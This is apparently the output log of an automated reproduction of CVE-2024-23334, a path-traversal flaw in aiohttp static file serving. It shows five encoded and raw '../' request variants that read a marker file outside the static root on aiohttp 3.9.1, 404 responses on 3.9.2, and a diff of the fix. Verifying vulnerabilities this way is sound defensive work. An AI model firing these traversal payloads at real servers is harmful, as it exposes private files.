[*] project_cache_dir=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache [*] Created probe file /tmp/repro-00199-run-sibling-1247349/poc-aiohttp-test.txt with content: POC-AIOHTTP-VULN-TEST-MARKER-1782996732 [*] Using aiohttp test port: 38241 POC-AIOHTTP-VULN-TEST-MARKER-1782996732 ########## VULNERABLE VERSION (3.9.1) ########## [*] Using uv to create Python 3.11 venv for aiohttp==3.9.1 [*] venv python: /tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/bin/python [+] Installed aiohttp==3.9.1 via uv ======================================== [*] Running vulnerable server (attempt 1) [*] python=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/bin/python ======================================== [*] Probe file outside static root: /tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/workdir-vuln/poc-aiohttp-test.txt [*] Server PID=1247462, waiting for health... [+] Server healthy [*] aiohttp version: 3.9.1 [diag] python_executable=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/bin/python [diag] python_version=3.11.12 (main, Apr 9 2025, 04:04:00) [Clang 20.1.0 ] [diag] platform=Linux-5.10.250-1-MANJARO-x86_64-with-glibc2.43 [diag] aiohttp_version=3.9.1 [diag] aiohttp_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/aiohttp/__init__.py [diag] yarl_version=1.24.2 [diag] yarl_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/yarl/__init__.py [diag] multidict_version=6.7.1 [diag] multidict_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/multidict/__init__.py [diag] idna_version=3.18 [diag] idna_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/idna/__init__.py [diag] frozenlist_version=1.8.0 [diag] frozenlist_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/frozenlist/__init__.py [diag] aiosignal_version=1.4.0 [diag] aiosignal_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/aiosignal/__init__.py [diag] web_urldispatcher_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/aiohttp/web_urldispatcher.py [*] Health response: ok [*] M1 (raw ../, --path-as-is): http://127.0.0.1:38241/static/../poc-aiohttp-test.txt [*] M1 code=200 body=[POC-AIOHTTP-VULN-TEST-MARKER-1782996732] [*] M2 (url-encoded %2f): http://127.0.0.1:38241/static/..%2fpoc-aiohttp-test.txt [*] M2 code=200 body=[POC-AIOHTTP-VULN-TEST-MARKER-1782996732] [*] M3 (encoded dots %2e): http://127.0.0.1:38241/static/%2e%2e/poc-aiohttp-test.txt [*] M3 code=200 body=[POC-AIOHTTP-VULN-TEST-MARKER-1782996732] [*] M4 (encoded %2F): http://127.0.0.1:38241/static/..%2Fpoc-aiohttp-test.txt [*] M4 code=200 body=[POC-AIOHTTP-VULN-TEST-MARKER-1782996732] [*] M5 (raw socket HTTP ../): /static/../poc-aiohttp-test.txt [*] M5 code=200 body=[POC-AIOHTTP-VULN-TEST-MARKER-1782996732] [!!!] LEAK via raw_path_as_is : POC-AIOHTTP-VULN-TEST-MARKER-1782996732 [*] Server stopped ======================================== [*] Running vulnerable server (attempt 2) [*] python=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/bin/python ======================================== [*] Probe file outside static root: /tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/workdir-vuln/poc-aiohttp-test.txt [*] Server PID=1247611, waiting for health... [+] Server healthy [*] aiohttp version: 3.9.1 [diag] python_executable=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/bin/python [diag] python_version=3.11.12 (main, Apr 9 2025, 04:04:00) [Clang 20.1.0 ] [diag] platform=Linux-5.10.250-1-MANJARO-x86_64-with-glibc2.43 [diag] aiohttp_version=3.9.1 [diag] aiohttp_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/aiohttp/__init__.py [diag] yarl_version=1.24.2 [diag] yarl_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/yarl/__init__.py [diag] multidict_version=6.7.1 [diag] multidict_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/multidict/__init__.py [diag] idna_version=3.18 [diag] idna_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/idna/__init__.py [diag] frozenlist_version=1.8.0 [diag] frozenlist_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/frozenlist/__init__.py [diag] aiosignal_version=1.4.0 [diag] aiosignal_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/aiosignal/__init__.py [diag] web_urldispatcher_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.1/lib/python3.11/site-packages/aiohttp/web_urldispatcher.py [*] Health response: ok [*] M1 (raw ../, --path-as-is): http://127.0.0.1:38241/static/../poc-aiohttp-test.txt [*] M1 code=200 body=[POC-AIOHTTP-VULN-TEST-MARKER-1782996732] [*] M2 (url-encoded %2f): http://127.0.0.1:38241/static/..%2fpoc-aiohttp-test.txt [*] M2 code=200 body=[POC-AIOHTTP-VULN-TEST-MARKER-1782996732] [*] M3 (encoded dots %2e): http://127.0.0.1:38241/static/%2e%2e/poc-aiohttp-test.txt [*] M3 code=200 body=[POC-AIOHTTP-VULN-TEST-MARKER-1782996732] [*] M4 (encoded %2F): http://127.0.0.1:38241/static/..%2Fpoc-aiohttp-test.txt [*] M4 code=200 body=[POC-AIOHTTP-VULN-TEST-MARKER-1782996732] [*] M5 (raw socket HTTP ../): /static/../poc-aiohttp-test.txt [*] M5 code=200 body=[POC-AIOHTTP-VULN-TEST-MARKER-1782996732] [!!!] LEAK via raw_path_as_is : POC-AIOHTTP-VULN-TEST-MARKER-1782996732 [*] Server stopped ########## FIXED VERSION (3.9.2) ########## [*] Using uv to create Python 3.11 venv for aiohttp==3.9.2 [*] venv python: /tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/bin/python [+] Installed aiohttp==3.9.2 via uv ======================================== [*] Running fixed server (attempt 1) [*] python=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/bin/python ======================================== [*] Probe file outside static root: /tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/workdir-fixed/poc-aiohttp-test.txt [*] Server PID=1247834, waiting for health... [+] Server healthy [*] aiohttp version: 3.9.2 [diag] python_executable=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/bin/python [diag] python_version=3.11.12 (main, Apr 9 2025, 04:04:00) [Clang 20.1.0 ] [diag] platform=Linux-5.10.250-1-MANJARO-x86_64-with-glibc2.43 [diag] aiohttp_version=3.9.2 [diag] aiohttp_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/aiohttp/__init__.py [diag] yarl_version=1.24.2 [diag] yarl_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/yarl/__init__.py [diag] multidict_version=6.7.1 [diag] multidict_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/multidict/__init__.py [diag] idna_version=3.18 [diag] idna_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/idna/__init__.py [diag] frozenlist_version=1.8.0 [diag] frozenlist_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/frozenlist/__init__.py [diag] aiosignal_version=1.4.0 [diag] aiosignal_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/aiosignal/__init__.py [diag] web_urldispatcher_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/aiohttp/web_urldispatcher.py [*] Health response: ok [*] M1 (raw ../, --path-as-is): http://127.0.0.1:38241/static/../poc-aiohttp-test.txt [*] M1 code=404 body=[404: Not Found] [*] M2 (url-encoded %2f): http://127.0.0.1:38241/static/..%2fpoc-aiohttp-test.txt [*] M2 code=404 body=[404: Not Found] [*] M3 (encoded dots %2e): http://127.0.0.1:38241/static/%2e%2e/poc-aiohttp-test.txt [*] M3 code=404 body=[404: Not Found] [*] M4 (encoded %2F): http://127.0.0.1:38241/static/..%2Fpoc-aiohttp-test.txt [*] M4 code=404 body=[404: Not Found] [*] M5 (raw socket HTTP ../): /static/../poc-aiohttp-test.txt [*] M5 code=404 body=[404: Not Found] [*] Server stopped ======================================== [*] Running fixed server (attempt 2) [*] python=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/bin/python ======================================== [*] Probe file outside static root: /tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/workdir-fixed/poc-aiohttp-test.txt [*] Server PID=1247984, waiting for health... [+] Server healthy [*] aiohttp version: 3.9.2 [diag] python_executable=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/bin/python [diag] python_version=3.11.12 (main, Apr 9 2025, 04:04:00) [Clang 20.1.0 ] [diag] platform=Linux-5.10.250-1-MANJARO-x86_64-with-glibc2.43 [diag] aiohttp_version=3.9.2 [diag] aiohttp_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/aiohttp/__init__.py [diag] yarl_version=1.24.2 [diag] yarl_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/yarl/__init__.py [diag] multidict_version=6.7.1 [diag] multidict_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/multidict/__init__.py [diag] idna_version=3.18 [diag] idna_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/idna/__init__.py [diag] frozenlist_version=1.8.0 [diag] frozenlist_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/frozenlist/__init__.py [diag] aiosignal_version=1.4.0 [diag] aiosignal_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/aiosignal/__init__.py [diag] web_urldispatcher_file=/tmp/repro-00199-run-sibling-1247349/artifacts/aiohttp-cache/venv-3.9.2/lib/python3.11/site-packages/aiohttp/web_urldispatcher.py [*] Health response: ok [*] M1 (raw ../, --path-as-is): http://127.0.0.1:38241/static/../poc-aiohttp-test.txt [*] M1 code=404 body=[404: Not Found] [*] M2 (url-encoded %2f): http://127.0.0.1:38241/static/..%2fpoc-aiohttp-test.txt [*] M2 code=404 body=[404: Not Found] [*] M3 (encoded dots %2e): http://127.0.0.1:38241/static/%2e%2e/poc-aiohttp-test.txt [*] M3 code=404 body=[404: Not Found] [*] M4 (encoded %2F): http://127.0.0.1:38241/static/..%2Fpoc-aiohttp-test.txt [*] M4 code=404 body=[404: Not Found] [*] M5 (raw socket HTTP ../): /static/../poc-aiohttp-test.txt [*] M5 code=404 body=[404: Not Found] [*] Server stopped [*] Source diff: vulnerable vs fixed web_urldispatcher.py (_handle) === VULNERABLE (3.9.1) StaticResource._handle === 656: async def _handle(self, request: Request) -> StreamResponse: 657- rel_url = request.match_info["filename"] 658- try: 659- filename = Path(rel_url) 660- if filename.anchor: 661- # rel_url is an absolute name like 662- # /static/\\machine_name\c$ or /static/D:\path 663- # where the static dir is totally different 664- raise HTTPForbidden() 665- filepath = self._directory.joinpath(filename).resolve() 666- if not self._follow_symlinks: 667- filepath.relative_to(self._directory) 668- except (ValueError, FileNotFoundError) as error: 669- # relatively safe 670- raise HTTPNotFound() from error 671- except HTTPForbidden: 672- raise 673- except Exception as error: 674- # perm error or other kind! 675- request.app.logger.exception(error) 676- raise HTTPNotFound() from error -- 932: async def _handle(self, request: Request) -> StreamResponse: 933- raise self._http_exception 934- === FIXED (3.9.2) StaticResource._handle === 661: async def _handle(self, request: Request) -> StreamResponse: 662- rel_url = request.match_info["filename"] 663- try: 664- filename = Path(rel_url) 665- if filename.anchor: 666- # rel_url is an absolute name like 667- # /static/\\machine_name\c$ or /static/D:\path 668- # where the static dir is totally different 669- raise HTTPForbidden() 670- unresolved_path = self._directory.joinpath(filename) 671- if self._follow_symlinks: 672- normalized_path = Path(os.path.normpath(unresolved_path)) 673- normalized_path.relative_to(self._directory) 674- filepath = normalized_path.resolve() 675- else: 676- filepath = unresolved_path.resolve() 677- filepath.relative_to(self._directory) 678- except (ValueError, FileNotFoundError) as error: 679- # relatively safe 680- raise HTTPNotFound() from error 681- except HTTPForbidden: -- 942: async def _handle(self, request: Request) -> StreamResponse: 943- raise self._http_exception 944- ======================================== SUMMARY ======================================== Vulnerable (3.9.1) leaked: true (method: raw_path_as_is) Fixed (3.9.2) leaked: false [*] Runtime manifest written to /tmp/repro-00199-run-sibling-1247349/repro/runtime_manifest.json [*] RCA report written to /tmp/repro-00199-run-sibling-1247349/repro/rca_report.md [*] Validation verdict written to /tmp/repro-00199-run-sibling-1247349/repro/validation_verdict.json [VERIFY] Found proof artifact: /tmp/repro-00199-run-sibling-1247349/repro/artifacts/http/vulnerable_1/proof_leak.txt [VERIFY] Fixed version blocked: /tmp/repro-00199-run-sibling-1247349/repro/artifacts/http/fixed_1/result.txt [VERIFY] All proof artifacts verified successfully [+] CVE-2024-23334 CONFIRMED: vulnerable version leaks, fixed version blocks [*] Proof artifacts copied to project cache (latest_confirmed) [+] Reproduction successful